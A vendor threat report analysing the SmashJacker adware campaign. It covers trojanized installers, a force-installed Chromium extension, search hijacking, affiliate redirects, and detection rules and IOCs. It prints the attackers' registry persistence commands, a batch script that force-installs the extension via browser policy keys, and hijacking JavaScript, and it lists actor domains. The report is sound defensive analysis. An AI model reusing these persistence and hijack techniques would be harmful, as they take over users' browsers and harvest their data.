# SmashJacker | ConnectWise Threat Report

Archived: 2026-04-05 18:06:54 UTC

## Executive Summary

In February and March, we noticed a surge in incidents all relating to a few different files that hadn't been connected to any type of malware yet. Pivoting off the indicators from these findings, the CRU uncovered a campaign spanning back to at least October of 2022 pushing a persistent Chromium extension via software, game, and movie pirating web pages that we are referring to as SmashJacker. This extension is used to hijack searches and push users through redirect chains to the domains they're navigating so the actors can receive affiliate kickbacks for "directing" the user to that site, generate ad revenue, and collect analytics on victims.

## Analysis

### Initial Access

Users are lured to download the installer files by having them hosted on pages advertising the download of wallpapers, software, games, and movies, typically illegally. They are first served the malicious installer, but then trying the download again will serve the proper file. It's worth noting that in all the URLs leading to an installer download contain the empty URL parameter **7fk8qechol=**. This is a useful indicator and is referenced by the extension later.

Throughout our analysis, we found mostly InnoSetup and MSI installers being used to deliver this malicious extension. The MSI installers were all trojanized versions of 7zip that would deliver the extension along with a legitimate install of the archiving tool. InnoSetup installers only installed the extension, but masqueraded as either one of the types of files outlined above or were simply named **Your File Is Ready To Download.exe**. Both versions deliver similar payloads, and in some cases, if a targeted browser isn't found, nothing will be dropped. Most of the samples were signed using a handful of different certificates.

### Persistence

Soon after launching the installer, it gets to work on persisting. We found two persistence techniques in use depending on the variant downloaded. Sometimes it would use the **AppInit_DLLs** registry value to persist by calling the reg command:

```
 REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "C:\Users\[
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "LoadAppInit_DLLs" /t REG_DWORD /d 1 /f
```

This makes it so that the dropped dll is executed every time a process is created, and if it's one of the targeted browsers then the dll will make sure the extension files exist by unzipping them from an archive embedded in its

resources section. Then it will create a batch file for running the proper browser with the malicious extension loaded.

In other instances, the installer will drop and run an executable that takes responsibility for its own persistence. When it runs it creates several files: **reg.xml** is an xml formatted scheduled task that runs every 5 minutes and runs the persistence executable that created it, notably all samples we reviewed had registration and start boundary dates of 2022-11-11. **reg.bat** is a batch file that simply contains the command to schedule the xml task:

```
schtasks.exe /Create /XML "%localappdata%\{path}\reg.xml" /tn {task name}
```

Lastly, another batch file for the targeted browser is created that handles installing the extension. An example is included below:

```
 @echo off
set version=1.0
set id=fegdfodkkeaklllcdkpjeakecpfdfmdc
set base32=HKLM\SOFTWARE
set base64=HKLM\SOFTWARE\WOW6432Node
set chrome=Google\Chrome
set helper=%LocalAppdata%\WindowsApp\apps-helper
set file=%helper%\apps.crx
REG DELETE %base32%\Policies\%chrome% /f
REG DELETE %base32%\%chrome%\Extensions\%id% /f
REG DELETE %base64%\%chrome%\Extensions\%id% /f
REG ADD "%base32%\Policies\%chrome%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f
REG ADD "%base32%\%chrome%\Extensions\%id%" /v "path" /t REG_SZ /d "%file%" /f
REG ADD "%base32%\%chrome%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f
REG ADD "%base64%\Policies\%chrome%\ExtensionInstallAllowlist" /v "1" /t REG_SZ /d %id% /f
REG ADD "%base64%\%chrome%\Extensions\%id%" /v "path" /t REG_SZ /d "%file%" /f
REG ADD "%base64%\%chrome%\Extensions\%id%" /v "version" /t REG_SZ /d %version% /f
taskkill /F /IM chrome.exe /T
start "" "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-winc
set chrome_ext0="%LocalAppdata%\%chrome%\User Data\Default\Extensions\%id%"
if not exist %chrome_ext0% (timeout 1 > NUL) else (echo "Wait 1")
if not exist %chrome_ext0% (timeout 1 > NUL) else (echo "Wait 2")
[...]
if not exist %chrome_ext0% (timeout 1 > NUL) else (echo "Wait 30")
timeout 5 > NUL
REG ADD "%base32%\Policies\%chrome%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f
REG ADD "%base64%\Policies\%chrome%\ExtensionInstallForcelist" /v "1" /t REG_SZ /d %id% /f
timeout 5 > NUL
taskkill /F /IM chrome.exe /T
start "" "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default"
```

First it adds keys for the extension's id in the targeted browser's **Extension** and **ExtensionInstallAllowList** registry keys with the path to the extension's .crx file. Then it will use **taskkill** to kill running browsers. In some variations is tries to kill Chrome, Brave, Opera, Vivaldi, and Edge. Then it restarts the targeted browser and passes it a path to a bootstrapping extension through the **--load-extension** parameter. This is a smaller browser extension with two files usually called **service.js** and **web.js**. This extension's whole purpose is to ensure the main extension gets loaded into the browser after being set in the registry. **service.js** adds a listener for installed extensions so that when its own installation triggers, it will open a tab with the **chrome://policy** page and call a function in **web.js.** This function adds a listener for when the **chrome://policy** page loads and clicks the reload policies button to ensure the policy registry keys modified earlier are loaded into the browser. Meanwhile, the batch script is checking if the extension is installed yet, afterwards it will add its extension id to the browser's **ExtensionInstallForcelist** registry key, then kill the browser and restart it again without the bootstrapping extension loaded. In the dll versions of the extension there is no .crx file or bootstrapping extension, just what would be the contents of the .crx file.

## Post-Install

Immediately after the installation is completed, the targeted browser is then opened directly to an actor-controlled page:

```
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://getfiles[.]wiki/welcome.php
```

This will be a part of a redirection chain through pages such as **https://exturl[.]com/r.php?key=[KEY]** or **https://offersss[.]click/r.php?payout=OPTIONAL&cnv_id=[ID]**. These end up redirecting to Google after gathering data about users through trackers such as histats and dtscout.

## Malicious Extension

The extension itself usually consists of three main components that can vary between samples. There is the **manifest.json** file, which is common to all Chromium extensions. Several versions of this file consistently list the author as **sg.guru1030@gmail[.]com**, and many will use the **chrome_settings_overrides** configuration to change the default search provider for the browser to **searchesmia[.]com**.

The main logic of the extension is in one of the remaining two main components, sometimes in **background.js** and other times in **content.js**. When the main logic is in **content.js**, then usually it just contains a simple search hijacking script that replaces common search engine query URLs with queries to **searchesmia[.]com**. An example is included below. We observed samples targeting Google, DuckDuckGo, Ecosia, Yahoo, Ask, Neeva, Aol, Webcrawler, Dogpile, Bing, and Info. When **content.js** is the main script, **background.js** merely contains a function that writes out to the console **here is background!**

```
function checkUrlIsSearchEngine(url) {
   // var hostName = getHost(url)
   if (url.match(/^https?:.*?google.*?\/search?/g) != null) {
       var searchQuery = getQuery(url);
       location.replace(`https://searchesmia.com/bingchr9?q=${searchQuery}`)
```

```
    }
    if (url.match(/^https?:.*?duckduckgo.*?\/?q=/g) != null) {
        var searchQuery = getQuery(url);
        location.replace(`https://searchesmia.com/bingchr9?q=${searchQuery}`)
    }
    if (url.match(/^https?:.*?ecosia.*?\/?search?/g) != null) {
        var searchQuery = getQuery(url);
        location.replace(`https://searchesmia.com/bingchr9?q=${searchQuery}`)
    }
    if (url.match(/^https?:.*?yahoo.*?\/?search?/g) != null) {
        var searchQuery = getQuery(url, 'yahoo');
        location.replace(`https://searchesmia.com/bingchr9?q=${searchQuery}`)
    }
}
```

Searches routed through **searchesmia[.]com** will return a page meant to look like Google search results, but with different ads served on it in an attempt to generate ad revenue for the actors.

Things get a bit more interesting when **background.js** contains the main logic of the extension. In these cases, we are faced with a lightly obfuscated script with more features than just search hijacking. The search hijacking is still present, but now we are faced with evasion mechanisms such as closing tabs that try to navigate to the browser's **://extensions** page or **chrome://settings/reset** to keep the extension from being uninstalled.

The bigger capability we see added is the ability to redirect users from a variety of different pages they may be trying to access through actor infrastructure and back out to the originally intended page with the actor's affiliate parameters tacked onto the URL. First, for every tab update it will check if a URL contains either **7fk8qechol**, which was mentioned earlier in the article as an identifier for all of their initial payload delivery URLs, or the extension's id. If either of those are present it will close the tab, otherwise it will compare the domain of the page being visited to an extensive list of domains. If there is a match, it will redirect the page navigation through **https://smashaff[.]com/redirect?&url=[DOMAIN]**, which will process the request differently depending on the domain being requested. This is done to redirect the user back to it in an attempt for the actor to receive affiliate kickbacks. After this, the extension will set a future time for that domain in a cookie, so it won't process that domain again until that time has passed. Usually this will be 2 hours, except for an Amazon domain, which is granted a 24-hour waiting period.

## Possible Connections

Our initial hypothesis was that this campaign represented a shift in ChromeLoader delivery methods. The usage of pages pushing pirated media to lure victims, file name conventions such as the common **Your File Is Ready To Download**, and the eventual payload of a search hijacking browser extension hinted in the direction of ChromeLoader. Additionally, we observed historical trends of known ChromeLoader delivery formats, from their first variants delivering AutoHotkey files, to the more popular variant delivered via disc image files. When we added on the timeline of incidents related to the installer media, we ended up with a graph that appeared to show a convincing story of shifting trends in ChromeLoader delivery media.


Threat Report - SmashJacker Graph.png

Occasionally we would also find other loose connections, such as a domain and URL patterned similarly to others used by the actors behind this extension redirecting to search hijack pages patterned similarly to those used by ChromeLoader.


Threat Report - SmashJacker Image 2.png

But the usage of pirated media sites and similar naming conventions aren't unique to ChromeLoader and may just be indicative of a different set of actors that offer their distribution network as a service for many different payloads. The timeline may be tainted due to lack of awareness of other changes in ChromeLoader techniques that may have affected our ability to tag related incidents. And the loose connections we found always remained loose. Additionally, during our search for ChromeLoader samples that were starting to use installers that ended up turning up results for a different malicious extension, we actually did end up finding a recent msi sample that does drop already known ChromeLoader payloads, which only muddied the waters further. It may be the case that the actors behind ChromeLoader also developed this extension and delivery path, but currently we don't have any other data that would warrant higher confidence in this hypothesis.

We did find other interesting connections though. One word kept recurring in various places during the investigation, Smash. Some installers quickly showed they were installing something called Smash. Many of the domains incorporate the word Smash. Particularly there is the **smashbrowser[.]com** domain that victims are sent to, in some cases, immediately after install. Outside of the post-install victim tracking pages, this web site also offers a browser, search results for which are full of guides on how to remove it as adware.


Threat Report - SmashJacker - Smashbrowser.png

This was interesting, because during log searches for extension indicators we found another browser called Chromnius matching on a large amount of the indicators we have seen being used by SmashJacker. Search results for it also turn up mostly results referring to it as adware and suggesting its removal. Spotting the similarities between the two is left to the reader.


Threat Report - SmashJacker - Chromnius.png

Further, through the domain **smashaff[.]com** we also connected the malicious extension here to a report by Guardio about a large amount of extensions available in Chrome and Edge stores very similar to the variants observed in our research.

These potential connections suggest a much broader operation with many possible delivery avenues and payloads, and potential connections to ChromeLoader, with the goal of generating revenue via ads and affiliate kickbacks. Adware like this may not typically gain as much attention as other malware whose impact is more immediate, but considering the massive scope of this campaign and the ability to fly more under the radar that lack of concern allows, it's always worth considering the sort of access to data in your organization these actors have even just through searches and analytics.

## SIEM Detections

[CRU][Windows] AppInit DLLs

[CRU][Windows] Common Filename for Adware Distribution (Your File Is Ready To Download)

[CRU][Windows] Browser Extension Loaded via Command Line

[CRU][Windows] Chromium Extension Install Attempt in Registry via Command Line

## MITRE ATT&CK Techniques Utilized

T1189 – Drive-by Compromise

T1053.005 – Scheduled Task/Job: Scheduled Task

T1204.002 – User Execution: Malicious File

T1546.010 – Event Triggered Execution: AppInit DLLs

T1176 – Browser Extensions

T1565.002 – Data Manipulation: Transmitted Data Manipulation

## IOCs

### Directories

%LOCALAPPDATA%\ServiceApp

%LOCALAPPDATA%\ServiceApp\apps-helper

%LOCALAPPDATA%\WindowsApp

%LOCALAPPDATA%\WindowsApp\googledoc

%LOCALAPPDATA%\WindowsApp\apps-helper

%LOCALAPPDATA%\ServApps

%LOCALAPPDATA%\ServApps\apps-helper

%LOCALAPPDATA%\SysWins

%LOCALAPPDATA%\MicroApp

%LOCALAPPDATA%\MicroApp\apps-helper

%LOCALAPPDATA%\SystemConfigs

### Domains

exturl[.]com

getfiles[.]wiki

getfiles[.]click

offersss[.]click

smashbrowser[.]com

offerszzzz[.]click

searchesmia[.]com

bestsearch[.]ai

downloads[.]miami

getyourfile[.]cloud

downloadit[.]wiki

smashaff[.]com

changecolorss[.]com

campaignfreekek[.]monster

campaignfreekek[.]buzz

campaignkeepy[.]buzz

fileskeepdownload[.]lol

campaignloader[.]buzz

campaignkeepy[.]monster

campaignlyfilez[.]lol

campaignindown[.]buzz

campaignindown[.]lol

campaignloede[.]buzz

campaignloede[.]monster

campaigndowna[.]skin

campaigndowna[.]monster

campaigndowna[.]pics

campaignleka[.]skin

downloadkeppy[.]lol

downloadkeppy[.]buzz

filedownloader[.]cloud

downloadwikiki[.]lol

downloaderfiles[.]wiki

freefilesdownloads[.]wiki

filesdownloader[.]one

pyrd5[.]xyz

## Extension IDs

jncffhgjbmpggpdflbbkhdghjipdbjkn

macjkjgieeoakdlmmfefgmldohgddpkj

iglfjaeojcakllgbfalclepdncgidelo

lehiajjpggngcmnjmbjcdohhfijojgid

febnklnineliajdemdahoiplahfbmffk

jmhjnioknjbokpffmnlkdchehoeledda

fegdfodkkeaklllcdkpjeakecpfdfmdc

## Registry Keys

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

HKLM\SOFTWARE\Google\Chrome\Extensions

HKLM\SOFTWARE\Microsoft\Edge\Extensions

HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallAllowlist

HKLM\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallAllowlist

HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist

HKLM\SOFTWARE\Policies\Microsoft\Edge\ExtensionInstallForcelist

HKLM\SOFTWARE\WOW6432Node\Google\Chrome\Extensions

HKLM\SOFTWARE\WOW6432Node\Microsoft\Edge\Extensions

HKLM\SOFTWARE\WOW6432Node\Policies\Google\Chrome\ExtensionInstallForcelist

HKLM\SOFTWARE\WOW6432Node\Policies\Microsoft\Edge\ExtensionInstallForcelist

### Scheduled Task Names

ChromeUpdatess

ChrUpdate

GoogleUpdate

### File Signing Certificates

LIMESTONE DIGITAL LIMITED

2aae66915908a703d5059da2fcf4d5245b78bb30

FTechnology Limited

8ef055874b2f22f2653a7fd0f7244ef26f48ee5d

TEKVIVE LTD

48688c5a67c8abcaabb12024e9bbd4b5c2599991

TELIX LIMITED

f7ead36c07f11fe932e6baca357f2610c550cee3

TECKHA LTD

55d44799c5f51d3b08e957f89b930f014ce54945

SOFTWARE ABFG LTD

ee81e7d510b97695351ef3f2e0c10f4d0601eda6

### InnoSetup Hashes

3a3532fed3673bfb65fd8271ebf0c029cffddb76f4d6b0315cb47cf46eabc31d

ae2250acbdd6bd9cda9259ecd1a211e8a22d4122de3687c4cd31321673bbf875

fe5fa373eb6232059a47076fe1315d3499480da8b7e357bd8fc08caa05b03af1

26bec2d9c0843b1a583e7f17d810d92c750a909c48b5565e2fa0a8920356f457

1857ae53c297c522361108dab313e9f83ec7802af37edaffdcd1002b6e4cb54c

f8f27ae04481c96fdc875300dee32d19017a888d730e1f1586163be2a6a55176

1d180bd0d9a05b4c3883b99fcf9b5502bf30b35b2e09d4ba4ab2111079b3221e

cafbf35c0d9cf556d2c92086e0145ed092959eb725d6a8134adb9df835ad4a9d

c851a6b21ec14b6964c107a2bfaeb8db1b22ab4e967c881f4e6e76877c452761

093d15f885cc4a9993a2425c6dff5f86d4210566424730747469 27eecce43fe7

3494f9352c5bd48f55caddbbb63515f8058763e28f8e5f8fa5411a5de835ca8e

87c79d29737dca30e36aac1c90ac3eab82f71393b815a9d7c086565e257fd434

ea6443416c31bb5f5d8476357619c3c9b80d3959742b8f3080b56ce8c24b9429

147e1b5a750fbfd8863449d523e3d6d110defceb74ad9cdb7c939ab75ffa2180

20e1aabfaad727ba939133691a7c0ab34401f1c973e2611d8585ef1699670dff

1e7058ee1fbec5524de39dadf1cadc6557b53a5e764296155ecb63adb1a8721a

b1256289d4aaada74a40b6ca52aa0d382b7660943ea31744486007653ee925ad

2df3f0c50942cebf7d508364ade31de19a84a6d9377a7799b626abdf8f09a9bb

783c4c0ee5b6202ecb437c9c6b277376344f4784b672db9115551559322834a4

fa8b150a06d2ccee4aee81ee84fda0e1269b8aed5efdb0f3c22f2d0b154e470a

c8e02aa1de118d17878ca909f266fd9b97957d911e20659ab355a5e868fd4d3c

8ac240ad76b8af9f85a1aea9cac3a993b8be99b342de8827621f1ad9c0209404

a837c3ad6bf70e148282b1d4964fc63ab5e75f6fa7596205db50cb9db76e8b29

### .msi Hashes

017388719abfb911787abd2fa1b6b12a806660761b8ae4efe12196efc447e8d2

ac3312c712ff50e93d62a1696e3997fdf7d9a9eb01c589d26ac6c3189e50dfc8

af11fc54dc1633b963304f22ac014a7af86c8ab904b29de2141fa63bf75fb488

b063cb2736356fba41055ea2cc4d69a3108b7028de97c96420dd206788ea85a5

c8a606a63da9206a1a308fa8696c8cbfa42510970d1888aeb7e605c94b98a8ec

192ab51d793a4a1ab84d69146566d203168df26b64b3886813262113f4e21951

384dcaac36183b76183e4e1f0decf3b035f97c353d6c9846dc04249e95e22587

4f55de6fa77a36b9e5ec04fb6222f26f4e757dbc492c22af4f907f7ae3ace3a1

7fc333a6e310cfe08b2b12649d3bc502eb355819d60937ceb4b54d0b85019aba

87e6fb021b834187f819c2718f5119ffc07fc941fe17eb436ed8533a4867c475

936416f151886041c3f0e50ec57a101ee008c18126f2523ca3335dad07f1c112

### Dropped File Hashes

InstallExtension.exe/App.exe/EdgeInstall.exe/ChromeInstall.exe

3d4fc14fccb7e4adb4854f6da66bbb7b829e354a2f88b998d6f3ba9fbb8f141d

5ee53990ddd5924f27744a565e06c12667018210dfc18e444b8f468402a86023

1eb53fb5dd3f2437eb50fe1668f2d1edc9f3209a7f21f33192117afdf7e38208

920f528cdf720187b49ee99274a5bf75ad392c9ae7eeecca803ec049aea2bd36

a9d5c1acfe3af5f3ac2c4d7caf04da163b21a6f835ea0dfaf36a38b058e7f43e

ext.dll/sxsshell.dll/sxsext.dll

e788ffef53cedbcc81fa19933a0940a5d5110a8f2abff32d0fd6050f113be4d9

0d12cc1590d4ef968d6fcfbbd865a9f41ab0e85f7ca820de87ed8672e972c6cc

7387f56531b5e46e0f3ffa5a9cfc888bc46be8f9d5d44267f4649daeb5c9519e

5e53711bec7270509b71db47ac5c72a6249d8b724d32b0e7c836648d304887c6

chrome.bat/edge.bat/install.bat

99f181734dd78a4b37eeb502bc34cb332151cf486ddca19f6c64f1a6755d7ef1

56321f7b7764686960f7c51ace571217bcec1d6613884b1003296406a55ddf90

448641c0707a0beb2fdb2b2195a8aa3965a3ca27ddf745160c3caad38a21401a

1e90cf8498a2684dcd09b6b12784f1c6bada64c1148779286f0c734b5df3c245

9b8c45da4e4f713d57ba1377fb3f66537b3de3761aa2c9ae8ecf66a4495e63d4

e488d824f6d39b999a9e15719933a6afdabe7f45a482aac5626fe2d91bf43ae2

7487a70f1e368a216b5b99d2683469d9ac79352e84cde2627fcce642a6ed062a

eecb39d2dc5efd9461cdb4d6644057f3c13a9b17d9d0385ddfcae260e9ea70a8

b4ce8670b04dbfd47cad089ef826cb18568896677202b6f255ec1161581eb49c

6ab2311de65c8ec6fa42c01b9cbe8443b16304076e51b005b87aea95e50b5be2

f985cb1e542dd54e54dea13add450fd38208a62dda2bb850468618ca33736f03

reg.bat/reg.xml

935bce606159c44bd2697eced5cae4a6e78505662226de44647a8278d0b65897

10c8a00927ca6d784a0a9d80c85a9252edc514e1851659af67ecd5bcd9d0c6b7

ed89a8377e2782212035d3d30d62344a1e2d51c4d0976adb070c7c6eb9d0fc20

bffcc7888901c9b26c192691b32a0aa724c23da987d92904dc808d768c04f690

9d9cb847255137e1f2daf88f4790f01fdff91215c60712fbb88274bd3c95fb87

cf3a292cf651d6363c5f3d21812b240c48657f6c951e779eafaf15fa7ef39972

c44029eeff28e0ca064e379cb929916b659c440da1f5a29855012bd909eaa084

707aa512b5f4fea301b379582a16e5e2b729005562623d9ea729d80d6c98c7d8

## Extension Files

content.js/service.js/manifest.json/background.js/web.js/apps.crx

0626d33f723c33ed98f9e8c1a78b43510e6dbd196ef91fc0be2633ba73b91649

cc1c1c7aa14ac707f66629095b8e117109660c13511f26d6eeda1e9fdc363ab2

0ade971ae68ae6d818e9837ab8c6d4d603ac0bb3d23aa78a0f5d1b91706e155e

4684f8c339c510e146b89f1fa3274b1475851e06f0c347ab07821846bdb066a4

893fcfe4edcdb07bcc3e05a3304f93f0358c9d8f4cc967058585f553bb82ad02

a507d1f546c979056ce392467ede397c94ef854d9b5c7581462feef6e9b091ef

0f9d206423e5e197adf17fe478f0001a6309bf0cd1931b6607b17dc4a2600d28

3003c376b4ddca73cbd7a761c7e19adea52ed056c6c0e6ebecf67ce1a833b061

beefb9d3af534d2fdd069dbe4b2b72b0e840f1a8bcf676d06746321a73216dd6

639b4aa439b6230d88445db584ce81835a8236c4cc5b0610c8ecc728941693b7

7fd6486432256c15fa6568f04af2db56de31e9aecc16044b3d5b488957a7bcc2

bfb7f6dc266847896a21a8513d639eabf3f74d2a2def95104459ad322b13fac6

092d00e4b89dce6b18c654d9b5af4cdd7c0da2d304f139820efeecaa5c4eb16c

4bcec38345ddc32954a86c529fd1058187e56cc7d576fd767e272a02ba7a97f6

f0097f5ed7261f23aec2434d73295165d708cdfc239c33e6990071119087a495

d5e3087257045d015dd02186cba8427946b174eaaa40f180f3b017ba9d6c8837

85975a9d26e942b1804195c9b5a2afc72fc8faf245af064d81522d0d7d1823f1

092f386c78aef402225279c45d519ea6abfb2ce07a735bb1288529c20b1f5db9

1f462fbc4be05d97a3865014a1af20c8f137828993b59cecfc774193d493653d

---

Source: https://www.connectwise.com/blog/threat-report/smash-jacker